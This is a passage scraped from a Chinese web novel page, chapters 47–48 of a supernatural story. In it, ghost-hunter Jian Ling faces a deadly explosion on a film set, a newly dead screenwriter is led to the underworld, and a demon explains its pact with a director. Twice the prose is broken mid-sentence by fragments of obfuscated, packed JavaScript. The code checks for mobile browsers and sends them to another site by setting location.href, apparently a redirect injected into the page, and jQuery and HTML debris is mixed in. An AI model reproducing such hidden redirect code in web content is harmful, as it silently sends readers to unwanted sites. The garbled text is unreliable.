RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552367|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁也笑了：“别看了，她平时没少跟我吐槽你。” “快了，就是还有点模糊，很快就不用麻烦你了。”季星迟明明是笑着说的，可语气中却带着显而易见的怨念。 简灵别过头去，这家伙怎么比怨鬼的怨念还大。 “简灵。”谢慈也看到了他们，带着金子月往这边快速走来，金子月也是一如即往的垮着一张小脸，满是不情不愿。 秦雨宁略带责备地看了一眼金子月，不过什么也没说，只问谢慈：“替身来了么？” “说马上就到。”谢慈点点头。 “那就好。”秦雨宁点点头，“那个替身小姑娘手脚很灵活，脑子也转得快，很聪明，一会儿你就把那套动作教给她。” “我明白，我会尽快教会她，不耽误你们进度。” 金子月忍了许久的情绪终于爆炸了，也不知是气的还是憋的，一张小脸涨得通红：“替身替身，你们就知道替身！” “子月！”秦雨宁的声音变冷，“找替身还不是因为你这场打戏迟迟不过，郑导已经很通融你了，谢慈也一直在辅导你，可你呢！” “我体质差做不了剧烈运动怎么办嘛！”金子月气哭，她从小被公司相中，一路平坦，从没被这么对待过，“过不了就把这场打戏删了啊！” 秦雨宁也生气了：“金子月！” “好了好了，不要吵架了。”郑文德也不想为了这点小事吵，金子月本身不差，就是身体素质确实堪忧，之前也没想到她跑几下就喘得要命。 只不过郑文德也有自己的坚持，这场打戏是小公主的高光戏份，他不会轻易删掉，找替身来做一下剪辑也已经是他最大的让步了。 简灵和季星迟默默往后缩了缩，他们也都不好掺合这件事，只能在外围看戏。 忽然，季星迟碰了碰简灵的胳膊，将手机塞进她的手里，附在她耳边轻声说道：“你要查的东西。” 简灵点头，刚接过手机，就看到两个纤细的身影朝着这边跑过来。 其中一个还很是兴奋的样子，冲着简灵挥手：“简大师，谢慈姐？你们怎么在这儿！” “路遥？” 只见路遥领着一个跟她年纪差不多大的小姑娘，很有礼貌地一个个跟大家打招呼，最后才兴冲冲地来到简灵面前。 “简大师，这位就是我跟你们说过的，我的好朋友万昭昭！”路遥扯了一把万昭昭的袖子，“昭昭！这就是那位捉鬼的简大师，还有谢慈姐，上次就是她们带着我一起在狸湘村……” 路遥跟只小麻雀似的叽叽喳喳说个不停，谢慈却怔怔地看着万昭昭，一动不动。 简灵也有些惊讶，她的目光在万昭昭、金子月和谢慈中来回逡巡……这三个人居然都长得很像，不过比起来还是金子月和谢慈更像一点，气质也是同样的凌厉，万昭昭则是眉宇间更显柔和。 “你……叫什么？”谢慈忽然走到万昭昭面前，怔愣地问道。 万昭昭有些疑惑，不过还是腼腆地笑了下：“我叫万昭昭，日月昭昭的昭。” 谢慈有如雷击，面对简灵疑问的目光却只摇了摇头。 “我们刚才跟负责人报道了。”路遥拍了拍自己的脑袋，突然想起来，连忙歉疚地鞠躬，“郑导，不好意思，我们得去跟上一个剧组说一声，昭昭之前生病跟他们有更新过合同，今天正好来顺道取一下，就在隔壁，我们很快回来！” 郑文德也不会再这种事情上难为两个工作人员，只点点头让她们快去快回。 “需要帮忙吗？”简灵问道。 “不用啦！”路遥冲她粲然一笑，“《平凡山海》剧组的杨导演是个很好的人，对我们的工作都很肯定。” 简灵点了点头，笑道：“加油。” 目送她们蹦蹦跳跳的背影离去，秦雨宁用手托住下巴，感慨道：“真有活力啊，年轻真好。” “那可不，她们一个目标是当演员，一个想当编剧，非常有志向。” 简灵说完低下头继续看刚才传来的文档，一目十行地扫过。 【……导演杨时舞曾去过安康养老院谈合作，只不过没多久当时的老板就过世了，合作搁置，在三个多月前杨导演再次与现任老板达成合作，借地拍摄电影《平凡山海》……】 简灵的手顿住，心脏猛地跳了一下。 她抬起头来望向刚才两人离去的方向：“她说她们是哪个剧组来着……” “——嘭！” 远处传来震天动地的爆炸声。 浓烟滚滚，火光冲天。 47. 爆炸 一时间简灵被震到眼花耳鸣，仿佛老电视的雪花屏一样令人眩晕，她使劲甩了甩头，旁边的几人也是被震得东倒西歪，大惊失色，顷刻间人群中尖叫四起，慌不择路地纷纷往反方向逃离。 “什么情况！是爆炸了吗？！” “看那边！那边！起火了！！” “好大的浓烟啊靠！快跑，大家快跑，小心二次爆炸！” “那是哪个组啊卧槽，太惨了吧，人还活着吗？” “好像是年代厂区那边吧……是不是《平凡山海》？” 简灵的耳朵还嗡嗡作响，勉强朝爆炸的方向看过去，一团蘑菇云汹涌而起，浓烟滚滚，火光将半边天都映照成了赤红色。 身旁的谢慈听到这话，倏地窜了出去，被简灵一把抓住：“你干什么！” “是阿昭！我妹妹！她是我妹妹！” 说完谢慈猛然按住胸口，仿佛感觉到虚假的身体里传来剧烈的疼痛——可她明明只是一只没有躯体的鬼魂。 简灵愣了下，下意识望向金子月，她竟然也正痛苦地弯下腰捂住胸口，应该是被刚才的爆炸声惊吓到，脸色惨白，额头上冒出细细密密的冷汗。 可她还没来得及思考，一股汹涌的恶鬼之气裹挟着阵阵热浪袭来，如细小的电流触及心脏，连颈后的汗毛都竖了起来。 同样感觉到了异常的谢慈也抬起头，一瞬间被压制的恐惧感油然而生，令她忍不住有些战栗。 “……是吴青！”简灵惊道。 可谢慈也顾不上恶鬼或是别的什么，一心扑在了万昭昭的生死上，她挣开简灵的手，义无反顾地向爆炸点冲去。 看着冲天的黑色浓雾，简灵真想骂人……不是，骂鬼。 她咬咬牙，扯过桌上的道具手帕用矿泉水浇湿，一边在慌乱的人群中大声喊道：“你们快点先走！” “你呢！”秦雨宁着急喊道。 “我……” 简灵话还没说出口，偏头正对上了季星迟那双还略带茫然的眼睛，看到他伸了一下手，似乎想抓她却抓了个空。 季星迟拍了拍身旁的阿泰：“你去帮她一起。” “不需要！阿泰带你老板先走！”简灵立刻反驳道，神色紧绷，看到季星迟还想说什么，想也不想张口吼道，“——别拖我后腿！” 季星迟顿了一秒。 “好，你自己小心，阿泰我们走。” 阿泰低头，看到老板抓着自己胳膊的手骤然间收紧，手背上的青筋隐隐凸起，他们还未转身，简灵小姐就已经逆向人群冲了出去。 * “阿姐，你好厉害啊！” “阿昭什么时候能像阿姐这般厉害？” “哇！我最崇拜阿姐了！” “为何阿姐总穿黑色，是练武脏了也看不出来么？” “阿姐就该多穿些好看的颜色，我帮你洗呀。” “阿姐阿姐你要走了么？那你……何时回来？” “上了战场，阿姐还会回来么？” “阿姐若是得了空，千万要写信回来！” “我会一直在家等你！” “阿姐……” 谢慈都想起来了。 她不知道为什么见到金子月和万昭昭时都会有一种异常熟悉的感觉，仿佛她们都与自己血脉相连。 可就在万昭昭出现在她面前的一瞬间，千百年前的记忆如潮水般涌来。 是那些她曾经以为早已磨损在时间中的记忆。 是漫长的时代不断交替时，她被囚禁在那一方小小的庙宇中，再也想不起来的执念。 ——是她还没给家中的妹妹寄去一封报平安的家书。 当年的谢慈就这么死在了外乡，尸骨无存，就连魂魄也久久盘亘于原地，永远无法归家。 不知道父母如何，也不知道小妹谢昭有没有平安长大。 阿昭没有什么武学天赋，可见到她被逼着练武会偷偷给她送好吃的、好玩的，每天都睁着那双明媚的大眼睛崇拜地看着她，永远像一个小跟班似的跟在她的屁股后面。 她怎么会忘记了？ 幸好，现在全部都想起来了。 谢慈感觉眼睛酸酸的，可鬼又怎么会哭呢。 她抹了一把不存在的眼泪，在滚滚浓烟中看到了倒在地上的万昭昭。 “……阿昭！” 谢慈冲了过去，万昭昭软绵绵地躺在废墟中，额头上渗出鲜血，混着灰尘，满脸脏污，刚刚那身黑色卫衣也已经被火燎得破烂，还剩下点点的火星子，露出的皮肤上也被烫出黑红的伤口。 “阿昭……”谢慈蹲在她面前，双手颤抖得不知该碰她身上的什么地方，哪哪都是伤，哪哪都是血，仿佛一碰就会碎，“阿昭！醒醒！” 附近又传来一声闷响，是又有什么东西被烧得爆了一下。 谢慈紧握了一下拳头，伸手穿过万昭昭的后颈和腿窝小心地将她抱了起来，像是在对待一只破损到快要散架的布娃娃。 火星子碰到了谢慈的身体，“呲啦”一声冒出几缕烟雾，可谢慈视若无睹，只轻声说：“阿姐带你出去。” 这动静惊醒了昏迷中的万昭昭，她勉强睁开眼睛，看到一张不太熟悉的脸，艰难地辨认了一刻才小声开口：“……姐…姐？” 谢慈一愣，万份震惊地看着她。 可万昭昭只微微动了动嘴皮子：“你是刚刚……那个剧组……见过的……” “别说话了。”谢慈腿上也溅到了火星子，趔趄了一下，她咬紧牙关，用有些使不上力的左臂狠狠托了一把，“我带你出去。” 万昭昭也痛得毫无力气，视线中头顶的天空一片灰暗，浓厚的烟雾遮挡住了秋日的阳光，几乎让她喘不上气来。 眼前的一小股灰烟也缓缓升起，融入到爆炸的烟雾中——那是从谢慈的肩膀上传出来的。 “姐姐……你的…受伤了……”万昭昭的脑子有点迷糊，分不清谢慈肩膀上的伤口为什么会冒出烟雾，或许她也在刚才的爆炸中被烧伤了？ “我没事。” 谢慈低下头，对她露出一个安抚的微笑：“姐姐一定将你带出去。” 万昭昭突然很想哭，也不知道是因为太疼了还是怎么的，明明是一个陌生的姐姐，为什么在她怀中却觉得异常的安心。 有她在，一切都变得不可怕了。 * “——谢慈！” 简灵冲进浓烟之中，猛地呛了几口，赶紧用湿手帕遮住口鼻，到处寻找谢慈的身影。 幸好《平凡山海》拍摄的片场是一个仿七八十年代的老工厂，大院子里基本都是露天的，爆炸产生的浓烟大多都能逐渐挥散，对于后续救援要方便得多。 火光集中在工厂内，那边只要谢慈靠近便会立刻化为灰烬。 恶鬼的气息就只出现了一瞬间，现在几乎已经消失了，爆炸现场的气息很混乱，一时半会儿难以分辨谢慈的气息。 “简大师？！简大师——！” 熟悉的声音传来，简灵赶紧朝铁门处看去，惊愕了一瞬：“……路遥？” “简大师！我的天啊吓死我了，刚才我真吓晕过去了！”灰头土脸的路遥钻过垮掉的铁门，小跑着过来，庆幸地拍了拍自己的胸口。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580117|180962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的衣服破破烂烂，头发乱糟糟的，沾满了血污和灰尘泥泞，脸上也被火燎得灰黑，像是刚挖了煤跑出来的。 “怎么会爆炸了啊，是事故吗？我醒来时没看到昭昭，也不知道她有没有事！还有剧组的那些工作人员们……”路遥抹了一把脸，望向火光冲天的工厂，担心的不得了。 简灵抿了抿嘴，几次话到嘴边都咽了下去，最终只问道：“你看到谢慈了吗？” “谢慈姐……”路遥挠了挠乱糟糟的头，像刚睡醒似的，“好像看到了！刚才有个身影跑过去来着，好像就是她！” 两人转身就往路遥值得方向跑去，没跑多远就看到了谢慈抱着万昭昭，走在平地却仿佛艰难跋涉的身影。 “谢慈！” “谢慈姐！” 几人终于会合，看清楚了谢慈的情况，路遥倒吸了一口凉气。 只见谢慈的左半边身体几乎全部变黑，像是被火熏黑的纸，还时不时发出哔啵的声音，掉落出一些细碎的灰烬。 她的左手已经被烧得看不见了，半个左臂艰难地托着昏迷的万昭昭，左脚也几乎化成灰烬，在地上拖出一道黑色的灼烧痕迹。 简灵冲了上去，将湿手帕拍在她还在的手臂和脚踝处，迅速将火星子熄灭。 “谢慈姐，你怎么……”路遥看出了谢慈身体的不对劲，可踟蹰了一刻，也没有说什么，“昭昭她怎么样！” 谢慈才缓过神来看了一眼路遥，怔了怔。 “她……她还活着。”谢慈无声地叹了口气，摇摇头，对简灵说道，“我先带她出去，一会儿再回来帮……” “你不用回来了。”简灵从包里摸出一张小纸人，塞进她另一边完好的口袋中，嘱咐道，“等看到救援的人了你就赶紧舍弃这身，用新的纸人……记得避开点他们。” 谢慈“嗯”了一声，加快脚步离开。 路遥不明白她们在说什么，但看到谢慈的样子也知道撑不了多久，跟着上前准备搭把手。 “谢慈姐小心！” 谢慈脚踝处纸灰飘散，她一个没踩稳，差点让怀里的万昭昭摔到地上，路遥赶紧伸手想扶住万昭昭的腿，给谢慈减轻一些压力。 可她的手却从万昭昭的腿上穿了过去。 路遥愣了一下。 她又迅速伸手，可依然碰不到万昭昭，仿若空气。 “你……”谢慈回头，眼神中露出一丝悲伤，却不知道该怎么安慰。 路遥低下头，怔怔地看着自己的双手，陡然间发现透过自己的双手居然能看到地上的黑灰色痕迹，还有脚边的石头，烧红的铁棍。 恐惧从心头蔓延开来。 她感觉到自己的喉咙像被什么东西扼住了一般，说不出话，半透明的双手在不住的颤抖着。 刚才谢慈抱着万昭昭来的方向似乎是一处废墟，那里好像还躺着一个人。 路遥用尽了全身的力气才让自己回过头去，努力瞪大了眼睛。 可是还什么都没看见，她的眼睛就被一双手遮住了。 “路遥，别看。” 轻柔的声音在路遥的耳边响起，可她却感受不到对方手心的温暖。 简灵循着方向看过去，就刚才万昭昭昏倒的附近，由于受到了剧烈的爆炸冲击，一个破败的身体以一种扭曲的姿势躺在废墟之中，血流了满地。 怀中的女孩簌簌发抖，眼泪汹涌而出，豆大的泪珠从简灵的手心滑落，消散在半空中，没有温度，连一丝痕迹都不曾留下。 路遥死死攥着拳头，终于找回了自己的声音，她惊惧地哽咽着：“我……是不是死了？” 48. “杨时舞” 简灵见过太多生死与鬼魂，面对死亡仍然做不到冷眼视之，她不知道该怎么安慰，只不断地轻拍着路遥的背。 或许是简灵的触碰让路遥没有什么死亡的实感，她就着简灵的手背过身去，下定决心不再看自己的尸体。 路遥吸了吸鼻子，从简灵的手掌心里抬起头：“我现在是鬼了么？” “嗯。” “……还挺神奇的。”路遥看了看自己半透明的身体，有些发愣，“我都还没写过灵异剧本，没想到自己还先一步变成了鬼，如果能把这种体验用在剧本里多好啊。” 简灵沉默了。 这姑娘的脑回路不简单，都死了还想着写剧本，太敬业了。 路遥突然想到了刚才见到谢慈的样子，恍然大悟：“哦——！谢慈姐不会也是鬼吧？！” “……是的。”简灵点了一下头，“她的身份比较特殊，是很多年前的古代鬼。” “那……”路遥犹豫了一下，想通了这其中肯定少不了简灵的帮忙，“我能像她一样……” “不能。”简灵斩钉截铁地拒绝了。 看着路遥失望的表情，简灵叹了口气：“魂魄留在人间的风险太大了，不仅要面对可能化成怨鬼、或是被其他恶鬼吞噬的风险，也会引起地府阴差的注意，被发现了就麻烦了。” “那我下辈子还能当人吗？” “我不知道。” 路遥遗憾地垂下头：“好吧……那我现在是要做什么？对不起啊简大师，我也是第一次当鬼，不知道该怎么办……还好，昭昭还活着……希望她没事……但是我还没有跟爸妈告别……他们、他们……” 说着说着，路遥又有些啜泣，刚止住的眼泪又溢了出来，她用手背不断地抹着眼泪：“对不起啊我不想哭的，但是太害怕了忍不住……” 不知从何时起，周围已经薄雾弥漫，将外界嘈杂的声音阻断，一股强烈而霸道的气息伴随着雾气无声无息地蔓延了过来，像是汹涌的海浪，不断冲击着路遥惶恐的情绪。 她不知道自己是不是因为突然死亡而恐惧，一种令人窒息的感觉从心底扩散开来，连哭泣的声音都戛然而止。 “别怕。” 简灵一把将她搂在怀中，眉头下压，神色凛然地看着某个方向：“是阴差。” 一个身影从薄雾中缓缓出现。 路遥壮着胆子抬头，只见那身影一袭浓黑的风衣，无风自动猎猎作响，身姿挺拔，顺着细长的双腿往上，宽肩之上竟然是一颗硕大的脑袋。 那脑袋架在脖子上显得极为突兀，五官倒是跟人类没什么区别，冷冷地盯着简灵怀中的路遥，那双下三白的眼睛里没有一丝感情，让路遥忍不住瑟缩了一下。 “简阴差。”那古怪的阴差冷然开口，声音冰冷低沉，“你越界了。” 路遥忍不住发抖。 阴差……是来抓她的吗？她是不是连累了简大师？ 一瞬间，路遥脑子里闪回了生前做过的所有坏事，包括但不限于上学时偷偷用早餐钱买辣条，帮讨厌的上司倒水时故意不帮他洗杯子，会在网上偷偷用小号吐槽两句在剧组遇到的耍大牌的演员…… 天啊，难道做这些事就要下地狱吗？ 路遥扁了扁嘴，心中有点委屈，但仍然顶着鬼魂对阴差的天然恐惧，硬着头皮抬起头来，她绝对不能连累简大师。 可她还没说话，旁边的简灵用脚尖掂起一块石头，稳稳接住，下一刻就朝着阴差砸了过去。 “越你个大头鬼啊，死阴差。”她面无表情地骂道。 “诶诶——简阴差你干嘛啊！”阴差赶紧错身躲过，开玩笑，简灵作为一个活阴差，她的攻击对他也是有一定效果的，就算打不死，打在身上也是很疼的！ 他很是做作地拍了拍风衣：“不要骂人嘛。” “我骂你了吗？” “你骂我死阴差啊。” “我是活阴差，你是死阴差，难道不对？” 来人一时语塞，好家伙，他竟无法反驳。 “吓唬一个无辜的鬼魂，你是不是有病啊牛大头！”简灵将路遥扯到身后，无情吐槽道，“赶紧把你这破雾给我散了，别搞这种，神神经经的，一会儿救援来看见了又要拍一集走近科学。” 路遥沉默。 牛大头…… 她小心翼翼地觑了一眼那个阴差，嗯，头确实挺大的。 牛大头“哦哦”两声，摸出一个小册子翻了翻：“不急不急，我就是怕被人类看到嘛！我数数啊……目前死了十三个人，你身后那个是最后一只鬼魂了，把她带上我就走了。” 路遥一愣，赶紧扯着简灵，声音都带了哭腔：“简大师，我、我要下地狱了吗？” “呵，当然是了。”牛大头冷笑着走上前，“人类就没有……哎！简阴差你别动手啊！” “你别怕，他吓唬你的。”简灵放下拳头，耐着性子解释道，“他就是传说中那个牛头马面的牛头，你知道吧？对你没什么威胁，就只是负责带你去地府登记，并不是做了坏事才要带你走的，放心吧。” “是啊，人都要走这么一遭的。”牛大头在简灵的威胁下收敛了些，无所谓地耸耸肩，“没什么好怕的，等你过去了喝罐可乐就啥也忘了。” “可乐？”简灵喝路遥同时扭头疑惑。 “是啊，之前被鬼魂投诉说传统的孟婆汤又难闻又难喝，就给改良成可乐的口味了，起码绝大多数人都能接受，是吧？” 路遥怔怔道：“还挺……与时俱进的。” 被两人这么一闹，路遥的赴死之心平静了下来。 也不对，她已经死了。 在简灵的指引下，她鼓起勇气迈入了牛大头打开的一扇门，黑红的漆，生锈的铜把手，面前是黑乎乎的一片混沌。 她深吸了一口气：“简大师，我走了。” 简灵“嗯”了一声，微微笑道：“走吧。下辈子如果还想当个编剧，再来就是了。” 话虽这么说，但下辈子的路遥，还是路遥吗？ 简灵也不知道。 转世这件事，就像是一个没有答案的哲学问题。 她静静地看着路遥踏入往生之门，这个才二十多岁的小姑娘刚刚想清楚自己的未来，就再也没有未来了。 虽然往生之门关上，牛大头又清点了一下手册，嘟嘟囔囔地说道：“是十三个人没错啊，怎么闻着还有一个。” 他耸了耸鼻子，似乎不太肯定地找了个方位——那是谢慈离开的方向。 “等等。”简灵心中一凛，眼疾手快地拉住他，故作生气地冷笑，“你可不能走。” “怎么了？”牛大头疑惑转身，他可惹不起这尊大神，啥也没干啊。 简灵嗤笑一声：“来都来了，给我当个苦力。” 还没等牛大头问清楚，一股恶鬼之气从爆炸的工厂传了过来，他立刻明白了过来：“——恶鬼？！哪儿来的？？” “我哪知道！还不是从你们这个破狗洞钻出来的！”简灵气得咬牙切齿。 十三个人！ 那恶鬼这次直接杀了十三个人！ 它是不是疯了！说好的“电车难题”呢？说好的每年只对一个人下手呢？ 这会儿也来不及解释了，简灵一把扯住牛大头的风衣袖子就往工厂跑去，一会儿救援人员都要到了，要拦住它不能再引起爆炸。 牛大头每次来人间只需要装一波大的，收收鬼魂就行了，已经很久没有被拖着跑得这么狼狈了。 他简直风中凌乱。 可是这恶鬼的气息如此浓烈，甚至还有些熟悉。 “不是啊简阴差！这人间恶鬼是你们负责的啊！”牛大头不想跟恶鬼碰面，那些恶鬼都是难啃的硬骨头，回去还得写事件报告——烦！ 况且说白了，恶鬼虽然杀不死他，但他在人间也没什么战斗力，去了也帮不上什么忙。 简灵无语：“还不是你们看管不力？？” “这、这……” “没指望你帮忙，你就看看它躯壳内里到底是谁，毕竟是从地府逃出来的，你应该知道。” 说话间两阴差已经到了工厂门口，可里面浓烟滚滚，火都没灭，根本没可能进去。 “牛大头，你进去找找在不在里面。”简灵手一挥，指挥道。 火烧不死的牛大头：“……”< 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“杨时舞”发出破烂风箱般地笑声，卷曲的嘴唇裂开，牙齿被撞掉了几颗，宛如从地狱业火中爬出来的恶鬼。 “……简家人？” 简灵一愣。 这个恶鬼……知道简家是阴差世家，难道甚至跟她的祖辈打过照面？ 就这微一愣神的工夫，“杨时舞”像是疯魔了一般，恶鬼的声音通过“杨时舞”破烂的喉咙发了出来，似乎在发怒，也在发笑，直到再也发不出声音，杨时舞的身体已经油尽灯枯。 简灵的眼神划摇摇欲坠的铁质楼梯，锈迹斑斑的楼梯被火烤的通红，她很相信自己一旦触碰就会被烫得皮开肉绽。 “……你之前每次都只选择了一个人，这次为什么要用爆炸的方式？”简灵问道，眼神紧锁，“你究竟要做什么？” “杨时舞”对于简灵的质问一点都不惊讶，似乎她对自己的调查也丝毫不在意。 它张了张嘴，索性换回了自己的声音，淡淡的，听着竟像是一个年轻的女孩：“这次我也只是选择了杨时舞一人而已，是她自己愿意跟我做交易。” “什么交易？” “杨时舞，她想拍电影。”恶鬼的声音不带一丝感情，只是麻木地陈述着一件事，“用你们的话说就是……她跟我签了对赌协议。我会帮助她，为她筹集拍电影所需要的资源，她用全剧组的姓名担保，这部电影，一定能火。” 简灵怔住，这简直匪夷所思：“你就因为这把剧组炸了……？电影都还没拍完，你怎么断定不会火？” 可“杨时舞”只是淡淡地摇头，脖颈的肌肉又撕裂了一些：“不是我断定的，是她自己害怕了。” “杨时舞”似乎有些站不稳了，她后退半步，整个人靠在发烫的墙上也无动于衷：“她害怕因为自己的赌约而葬送全组人的姓名，来求我，求我取消赌约……可恶魔的赌约是无法取消的。于是她就求我把赌约改成她一个人的姓名，用她自己的命，去换大家的命。” 听到这里，简灵的心一沉，顿时升起来一股古怪的感觉。 “……难道你认为她这是在电车难题中，选择了大我？”她不可置信地问道。 “不是吗？”恶鬼轻笑了一声，“其实她很傻，赌约中并没有签订怎么样才算‘火’，即使上映后只有十个人观看，她也可以咬定电影‘火’了，但是她不敢赌。” “你就因为这样要把所有人都杀了？！”简灵怒火中烧，手中的黄符被攥成了一团废纸，她无法用语言来形容心里的愤怒，猛地上前一步，一只脚踏上了烧红的楼梯。 “杨时舞”用它几乎转不动的眼珠子，再一次艰难地看向简灵，那明明毫无感情的眼神中却透露着一丝嘲笑。 它嗤笑：“你们简家人还是这样，好没意思。” 说完，它勉强控制着“杨时舞”的身体，一点点退后，身后的工厂还燃着熊熊烈焰，像一口巨大的焚化炉。 简灵睁大了眼睛，忍着脚下的灼热感往上窜了几步，可为时已晚。 “杨时舞”带着诡异的微笑，缓缓向后倒去，坠入了焚化炉中。